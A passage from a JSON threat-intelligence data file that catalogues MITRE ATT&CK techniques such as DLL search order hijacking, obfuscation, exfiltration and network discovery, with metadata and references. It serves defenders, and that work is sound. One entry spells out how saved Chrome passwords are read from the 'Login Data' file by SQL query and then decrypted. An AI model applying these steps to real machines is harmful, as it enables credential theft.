"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1091"
]
},
"uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4",
"value": "Replication Through Removable Media - T1091"
},
{
"description": "Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nSeveral types exist:\n\n### Browser-based Exploitation\n\nWeb browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.\n\n### Office Applications\n\nCommon office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://attack.mitre.org/techniques/T1566). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.\n\n### Common Third-party Applications\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.",
"meta": {
"external_id": "T1203",
"kill_chain": [
"mitre-attack:execution"
],
"mitre_platforms": [
"Linux",
"Windows",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1203"
]
},
"uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
"value": "Exploitation for Client Execution - T1203"
},
{
"description": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command. For example:\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)",
"meta": {
"external_id": "CAPEC-556",
"refs": [
"http://msdn.microsoft.com/en-us/library/bb166549.aspx",
"https://attack.mitre.org/techniques/T1042",
"https://capec.mitre.org/data/definitions/556.html",
"https://docs.microsoft.com/windows-server/administration/windows-commands/assoc",
"https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs",
"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd"
]
},
"related": [
{
"dest-uuid": "98034fef-d9fb-4667-8dc4-2eab6231724c",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "68c96494-1a50-403e-8844-69a6af278c68",
"value": "Change Default File Association - T1042"
},
{
"description": "On Android, command line tools or the Java file APIs can be used to enumerate file system contents. However, Linux file permissions and SELinux policies generally strongly restrict what can be accessed by apps (without taking advantage of a privilege escalation exploit). The contents of the external storage directory are generally visible, which could present concern if sensitive data is inappropriately stored there.\n\niOS's security architecture generally restricts the ability to perform file and directory discovery without use of escalated privileges.",
"meta": {
"external_id": "T1420",
"kill_chain": [
"mitre-mobile-attack:discovery"
],
"mitre_platforms": [
"Android"
],
"refs": [
"https://attack.mitre.org/techniques/T1420"
]
},
"uuid": "cf28ca46-1fd3-46b4-b1f6-ec0b72361848",
"value": "File and Directory Discovery - T1420"
},
{
"description": "Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. \n\nSome adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.",
"meta": {
"external_id": "T1025",
"kill_chain": [
"mitre-attack:collection"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1025"
]
},
"uuid": "1b7ba276-eedc-4951-a762-0ceea2c030ec",
"value": "Data from Removable Media - T1025"
},
{
"description": "Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.",
"meta": {
"external_id": "T1052",
"kill_chain": [
"mitre-attack:exfiltration"
],
"mitre_data_sources": [
"Command: Command Execution",
"Drive: Drive Creation",
"File: File Access",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1052"
]
},
"uuid": "e6415f09-df0e-48de-9aba-928c902b7549",
"value": "Exfiltration Over Physical Medium - T1052"
},
{
"description": "Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.\n\nAdversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)",
"meta": {
"external_id": "T1602",
"kill_chain": [
"mitre-attack:collection"
],
"mitre_data_sources": [
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Content"
],
"mitre_platforms": [
"Network"
],
"refs": [
"https://attack.mitre.org/techniques/T1602",
"https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3",
"https://us-cert.cisa.gov/ncas/alerts/TA17-156A",
"https://www.us-cert.gov/ncas/alerts/TA18-106A"
]
},
"uuid": "0ad7bc5c-235a-4048-944b-3b286676cb74",
"value": "Data from Configuration Repository - T1602"
},
{
"description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. \n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as JavaScript. \n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also obfuscate commands executed from payloads or directly via a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) ",
"meta": {
"external_id": "CAPEC-267",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"File: File Metadata",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1027",
"https://capec.mitre.org/data/definitions/267.html",
"https://github.com/danielbohannon/Revoke-Obfuscation",
"https://github.com/itsreallynick/office-crackros",
"https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/",
"https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/",
"https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html",
"https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf",
"https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/",
"https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/"
]
},
"uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
"value": "Obfuscated Files or Information - T1027"
},
{
"description": "Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.",
"meta": {
"external_id": "T1092",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Drive: Drive Access",
"Drive: Drive Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1092"
]
},
"uuid": "64196062-5210-42c3-9a02-563a0d1797ef",
"value": "Communication Through Removable Media - T1092"
},
{
"description": "ART (the Android Runtime) compiles optimized code on the device itself to improve performance. An adversary may be able to use escalated privileges to modify the cached code in order to hide malicious behavior. Since the code is compiled on the device, it may not receive the same level of integrity checks that are provided to code running in the system partition.(Citation: Sabanal-ART)",
"meta": {
"external_id": "T1403",
"kill_chain": [
"mitre-mobile-attack:persistence"
],
"mitre_platforms": [
"Android"
],
"refs": [
"https://attack.mitre.org/techniques/T1403",
"https://www.blackhat.com/docs/asia-15/materials/asia-15-Sabanal-Hiding-Behind-ART-wp.pdf"
]
},
"uuid": "88932a8c-3a17-406f-9431-1da3ff19f6d6",
"value": "Modify Cached Executable Code - T1403"
},
{
"description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser. (Citation: Talos Olympic Destroyer 2018) \n\nWeb browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).",
"meta": {
"external_id": "T1503",
"refs": [
"https://attack.mitre.org/techniques/T1503",
"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
"https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata",
"https://github.com/putterpanda/mimikittenz",
"https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html",
"https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign"
]
},
"related": [
{
"dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "4579d9c9-d5b9-45e0-9848-0104637b579f",
"value": "Credentials from Web Browsers - T1503"
},
{
"description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nMany command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106).",
"meta": {
"external_id": "CAPEC-497",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: OS API Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1083",
"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://capec.mitre.org/data/definitions/127.html",
"https://capec.mitre.org/data/definitions/497.html"
]
},
"uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
"value": "File and Directory Discovery - T1083"
},
{
"description": "Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.",
"meta": {
"external_id": "CAPEC-471",
"refs": [
"http://msdn.microsoft.com/en-US/library/ms682586",
"http://msdn.microsoft.com/en-US/library/ms682600",
"https://attack.mitre.org/techniques/T1038",
"https://capec.mitre.org/data/definitions/471.html",
"https://msdn.microsoft.com/en-US/library/aa375365",
"https://msrc-blog.microsoft.com/2010/08/21/microsoft-security-advisory-2269637-released/",
"https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/",
"https://www.owasp.org/index.php/Binary_planting"
]
},
"related": [
{
"dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "46944654-fcc1-4f63-9dad-628102376586",
"value": "DLL Search Order Hijacking - T1038"
},
{
"description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nExploits spread through advertising (malvertising) involve injecting malicious or malware-laden advertisements into legitimate online advertising networks and webpages. (Citation: TPMalvertising)",
"meta": {
"external_id": "T1380",
"kill_chain": [
"mitre-pre-attack:launch"
],
"refs": [
"https://attack.mitre.org/techniques/T1380"
]
},
"uuid": "d72c0bc0-3007-418c-842c-328027ebdbc1",
"value": "Deploy exploit using advertising - T1380"
},
{
"description": "An adversary could evade app vetting techniques by placing code in a malicious application to detect whether it is running in an app analysis environment and, if so, avoid performing malicious actions while under analysis.\n\nDiscussion of general Android anti-analysis techniques can be found in (Citation: Petsas). Discussion of Google Play Store-specific anti-analysis techniques can be found in (Citation: Oberheide-Bouncer), (Citation: Percoco-Bouncer).\n\n (Citation: Wang) presents a discussion of iOS anti-analysis techniques.\n\nPlatforms: Android, iOS",
"meta": {
"external_id": "T1440",
"refs": [
"https://attack.mitre.org/techniques/T1440"
]
},
"related": [
{
"dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "b765efd1-02e6-4e67-aebf-0fef5c37e54b",
"value": "Detect App Analysis Environment - T1440"
},
{
"description": "Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n### Services\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n### Executable Installers\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)",
"meta": {
"external_id": "CAPEC-17",
"refs": [
"http://seclists.org/fulldisclosure/2015/Dec/34",
"https://attack.mitre.org/techniques/T1044",
"https://capec.mitre.org/data/definitions/17.html",
"https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/"
]
},
"related": [
{
"dest-uuid": "9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "0ca7beef-9bbc-4e35-97cf-437384ddce6a",
"value": "File System Permissions Weakness - T1044"
},
{
"description": "An app could contain malicious code in obfuscated or encrypted form, then deobfuscate or decrypt the code at runtime to evade many app vetting techniques.(Citation: Rastogi) (Citation: Zhou) (Citation: TrendMicro-Obad) (Citation: Xiao-iOS)",
"meta": {
"external_id": "APP-21",
"kill_chain": [
"mitre-mobile-attack:defense-evasion"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"http://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-improve-android-malware-stealth-routines-with-obad/",
"http://ieeexplore.ieee.org/document/6234407",
"http://pages.cs.wisc.edu/~vrastogi/static/papers/rcj13b.pdf",
"http://www.slideshare.net/Shakacon/fruit-vs-zombies-defeat-nonjailbroken-ios-malware-by-claud-xiao",
"https://attack.mitre.org/techniques/T1406",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html"
]
},
"uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a",
"value": "Obfuscated Files or Information - T1406"
},
{
"description": "An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud backup services (e.g. Google's Android backup service or Apple's iCloud) could use that access to obtain sensitive data stored in device backups. For example, the Elcomsoft Phone Breaker product advertises the ability to retrieve iOS backup data from Apple's iCloud (Citation: Elcomsoft-EPPB). Elcomsoft also describes (Citation: Elcomsoft-WhatsApp) obtaining WhatsApp communication histories from backups stored in iCloud.",
"meta": {
"external_id": "ECO-1",
"kill_chain": [
"mitre-mobile-attack:remote-service-effects"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1470",
"https://blog.elcomsoft.com/2017/07/extract-and-decrypt-whatsapp-backups-from-icloud/",
"https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-0.html",
"https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-1.html",
"https://www.elcomsoft.com/eppb.html"
]
},
"uuid": "0c71033e-401e-4b97-9309-7a7c95e43a5d",
"value": "Obtain Device Cloud Backups - T1470"
},
{
"description": "Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. \n\n[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques) ",
"meta": {
"external_id": "T1048",
"kill_chain": [
"mitre-attack:exfiltration"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access",
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/",
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1048",
"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
]
},
"uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776",
"value": "Exfiltration Over Alternative Protocol - T1048"
},
{
"description": "Adversaries may access and collect application data resident on the device. Adversaries often target popular applications such as Facebook, WeChat, and Gmail.(Citation: SWB Exodus March 2019)\n\nThis technique requires either escalated privileges or for the targeted app to have stored the data in an insecure manner (e.g., with insecure file permissions or in an insecure location such as an external storage directory).",
"meta": {
"external_id": "AUT-0",
"kill_chain": [
"mitre-mobile-attack:collection",
"mitre-mobile-attack:credential-access"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1409",
"https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-0.html",
"https://securitywithoutborders.org/blog/2019/03/29/exodus.html"
]
},
"uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160",
"value": "Access Stored Application Data - T1409"
},
{
"description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\nAn adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview)\n\nUtilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to \"net session\".",
"meta": {
"external_id": "T1049",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: OS API Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows",
"IaaS",
"Linux",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1049",
"https://cloud.google.com/vpc/docs/vpc",
"https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html",
"https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview"
]
},
"uuid": "7e150503-88e7-4861-866b-ff1ac82c4475",
"value": "System Network Connections Discovery - T1049"
},
{
"description": "Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. \n\nAuthentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system—either in memory or on disk—it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.\n",
"meta": {
"external_id": "T1550",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:lateral-movement"
],
"mitre_data_sources": [
"Active Directory: Active Directory Credential Request",
"Application Log: Application Log Content",
"Logon Session: Logon Session Creation",
"User Account: User Account Authentication",
"Web Credential: Web Credential Usage"
],
"mitre_platforms": [
"Windows",
"Office 365",
"SaaS",
"Google Workspace",
"IaaS"
],
"refs": [
"https://attack.mitre.org/techniques/T1550",
"https://csrc.nist.gov/glossary/term/Multi_Factor-Authentication",
"https://csrc.nist.gov/glossary/term/authentication",
"https://technet.microsoft.com/en-us/library/dn487457.aspx"
]
},
"uuid": "51a14c76-dd3b-440b-9c20-2bf91d25a814",
"value": "Use Alternate Authentication Material - T1550"
},
{
"description": "Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1086), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter Registry keys associated with service failure parameters (such as FailureCommand) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: TrustedSignal Service Failure)(Citation: Twitter Service Recovery Nov 2017)",
"meta": {
"external_id": "CAPEC-478",
"refs": [
"https://attack.mitre.org/techniques/T1058",
"https://capec.mitre.org/data/definitions/478.html",
"https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx",
"https://technet.microsoft.com/en-us/sysinternals/bb963902",
"https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html",
"https://twitter.com/r0wdy_/status/936365549553991680"
]
},
"related": [
{
"dest-uuid": "17cc750b-e95b-4d7d-9dde-49e0de24148c",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "39a130e1-6ab7-434a-8bd2-418e7d9d6427",
"value": "Service Registry Permissions Weakness - T1058"
},
{
"description": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nThere are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python)",
"meta": {
"external_id": "T1059",
"kill_chain": [
"mitre-attack:execution"
],
"mitre_data_sources": [
"Command: Command Execution",
"Module: Module Load",
"Process: Process Creation",
"Script: Script Execution"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows",
"Network"
],
"refs": [
"https://attack.mitre.org/techniques/T1059",
"https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1",
"https://tools.cisco.com/security/center/resources/integrity_assurance.html#23",
"https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python"
]
},
"uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
"value": "Command and Scripting Interpreter - T1059"
},
{
